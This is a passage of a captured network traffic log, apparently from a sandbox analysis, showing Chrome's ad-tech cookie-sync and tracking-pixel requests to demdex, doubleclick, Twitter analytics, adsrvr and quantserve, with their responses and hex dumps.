Expires=Fri, 27 Jun 2025 12:55:35 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:35 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50586	34.241.209.94	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:35 UTC	819	OUT	GET /ibs:dpid=358&dpuuid=7919660468872361886 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755
2024-12-29 12:55:36 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:35 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: 6pDqE0p5S6Y= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-0eaa7db83.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:35 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:35 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:36 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50587	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:35 UTC	580	OUT	GET /ibs:dpid=411&dpuuid=Z3FGwQAAAIPC1wOJ HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755
2024-12-29 12:55:36 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:35 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: /r5eq50VQLQ= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-04a8adcf8.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:35 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:35 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:36 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50582	172.217.17.34	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:35 UTC	849	OUT	GET /pixel?google_nid=adobe_dmp&google_cm=&gdpr=0&gdpr_consent=&google_hm=ODE5ODAzNTk1MTE4MDY2NDY5MTM3MTQzMTkyMzk4NDE3MzM0ODM=&google_tc= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-12-29 12:55:36 UTC	996	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://dpm.demdex.net/ibs:dpid=771&dpuuid=CAESEIv6GK4jHao86K5Dl2BpM8w&google_cver=1?gdpr=0&gdpr_consent= Date: Sun, 29 Dec 2024 12:55:36 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 314 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUm6UQVoaf5u78UOVZ9AP9i3vAnQyZeXDusIxeIcxEBjT9c0_FKR_j7ptp2MApU; expires=Tue, 29-Dec-2026 12:55:36 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-29 12:55:36 UTC	314	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 70 6d 2e 64 65 6d 64 65 78 2e 6e 65 74 2f 69 62 73 3a 64 70 69 64 3d 37 37 31 26 61 6d 70 3b 64 70 75 75 69 64 3d 43 41 45 53 45 49 76 36 47 4b 34 6a 48 61 6f 38 36 4b 35 44 6c 32 42 70 4d 38 77 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://dpm.demdex.net/ibs:dpid=771&dpuuid=CAESEIv6GK4jHao86K5Dl2BpM8w&google_c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50597	104.244.42.67	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:36 UTC	648	OUT	GET /i/adsct?p_user_id=81980359511806646913714319239841733483&p_id=38594 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 12:55:37 UTC	571	IN	HTTP/1.1 200 OK date: Sun, 29 Dec 2024 12:55:36 GMT perf: 7402827104 server: tsa_b set-cookie: personalization_id="v1_qINRniee1m6dmxnwCWM25w=="; Max-Age=63072000; Expires=Tue, 29 Dec 2026 12:55:36 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 5ecc64912dbed3a0 strict-transport-security: max-age=631138519 x-response-time: 5 x-connection-hash: a82f2a546191d61377b52c62f36168fa7ab93d8a6ccd4bce73a35c0efd3fe829 connection: close
2024-12-29 12:55:37 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50618	34.241.209.94	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:38 UTC	883	OUT	GET /ibs:dpid=771&dpuuid=CAESEIv6GK4jHao86K5Dl2BpM8w&google_cver=1?gdpr=0&gdpr_consent= HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485
2024-12-29 12:55:39 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:38 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: vKNlqyofQ4A= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-087795c31.edge-irl1.demdex.com 3 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:38 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:38 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:39 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50636	34.241.209.94	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:40 UTC	896	OUT	GET /ibs:dpid=992&dpuuid=12uyav2s7qrz9 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094
2024-12-29 12:55:41 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:41 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: AZbGvFV1SBA= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0bd5f2040.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:41 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:41 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:41 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50639	34.241.209.94	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:41 UTC	920	OUT	GET /ibs:dpid=782&dpuuid=Z3FGwQAAAIPC1wOJ HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447
2024-12-29 12:55:41 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:41 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: WcZhipG4T5c= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-04131632d.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:41 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:41 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:41 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50660	52.223.40.198	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:43 UTC	661	OUT	GET /track/cmf/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 12:55:43 UTC	521	IN	HTTP/1.1 302 Found Date: Sun, 29 Dec 2024 12:55:43 GMT Content-Length: 251 Connection: close server: Kestrel location: https://match.adsrvr.org/track/cmb/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1 set-cookie: TDID=1583541f-3b09-4660-8f24-5ee8afc5ad60; expires=Mon, 29 Dec 2025 12:55:43 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSgCMgsItoaM4tqE1D0QBTgB; expires=Mon, 29 Dec 2025 12:55:43 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-12-29 12:55:43 UTC	251	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 61 61 6d 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 64 6f 6d 61 69 6e 3d 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 26 74 74 64 5f 74 70 69 3d 31 22 3e 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 61 61 6d 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 64 6f 6d 61 69 6e 3d 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 26 74 74 64 5f 74 70 69 3d 31 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://match.adsrvr.org/track/cmb/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1">https://match.adsrvr.org/track/cmb/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50667	91.228.74.200	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:44 UTC	634	OUT	GET /pixel/p-vj4AYjBqd6VJ2.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1 Host: cms.quantserve.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 12:55:45 UTC	513	IN	HTTP/1.1 302 Found Date: Sun, 29 Dec 2024 12:55:45 GMT Content-Length: 0 Connection: close Cache-Control: private, no-store, proxy-revalidate Location: https://dpm.demdex.net/ibs:dpid=1175&gdpr=0&dpuuid=rBnh2q4Ystq3HrTfrxj70qhItNm3GrLbrRp0Vyrd Set-Cookie: mc=677146d1-0b456-92fb2-4d074; Path=/; Domain=quantserve.com; Max-Age=34214400; Secure; SameSite=None Set-Cookie: sp=CgkIjd0BEgMQnw4=; Path=/; Domain=quantserve.com; Max-Age=7776000; Secure; SameSite=None Strict-Transport-Security: max-age=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50680	52.223.40.198	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:45 UTC	748	OUT	GET /track/cmb/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=1583541f-3b09-4660-8f24-5ee8afc5ad60; TDCPM=CAEYBSgCMgsItoaM4tqE1D0QBTgB
2024-12-29 12:55:46 UTC	522	IN	HTTP/1.1 302 Found Date: Sun, 29 Dec 2024 12:55:46 GMT Content-Length: 189 Connection: close server: Kestrel location: https://dpm.demdex.net/ibs:dpid=903&dpuuid=1583541f-3b09-4660-8f24-5ee8afc5ad60 set-cookie: TDID=1583541f-3b09-4660-8f24-5ee8afc5ad60; expires=Mon, 29 Dec 2025 12:55:46 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsI8O_czsSE1D0QBRgFIAEoAjILCLaGjOLahNQ9EAU4AQ..; expires=Mon, 29 Dec 2025 12:55:46 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-12-29 12:55:46 UTC	189	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 70 6d 2e 64 65 6d 64 65 78 2e 6e 65 74 2f 69 62 73 3a 64 70 69 64 3d 39 30 33 26 64 70 75 75 69 64 3d 31 35 38 33 35 34 31 66 2d 33 62 30 39 2d 34 36 36 30 2d 38 66 32 34 2d 35 65 65 38 61 66 63 35 61 64 36 30 22 3e 68 74 74 70 73 3a 2f 2f 64 70 6d 2e 64 65 6d 64 65 78 2e 6e 65 74 2f 69 62 73 3a 64 70 69 64 3d 39 30 33 26 64 70 75 75 69 64 3d 31 35 38 33 35 34 31 66 2d 33 62 30 39 2d 34 36 36 30 2d 38 66 32 34 2d 35 65 65 38 61 66 63 35 61 64 36 30 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://dpm.demdex.net/ibs:dpid=903&dpuuid=1583541f-3b09-4660-8f24-5ee8afc5ad60">https://dpm.demdex.net/ibs:dpid=903&dpuuid=1583541f-3b09-4660-8f24-5ee8afc5ad60</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50690	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:46 UTC	858	OUT	GET /ibs:dpid=477&dpuuid=779416a4c94a11361c21809cfac65e3347c1e49f6529a35cccf14d681b05f925b0da87c991749652 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579
2024-12-29 12:55:47 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:46 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: GZTSiwaKQoY= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0bd9d0aa8.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:46 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:46 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:47 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50691	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
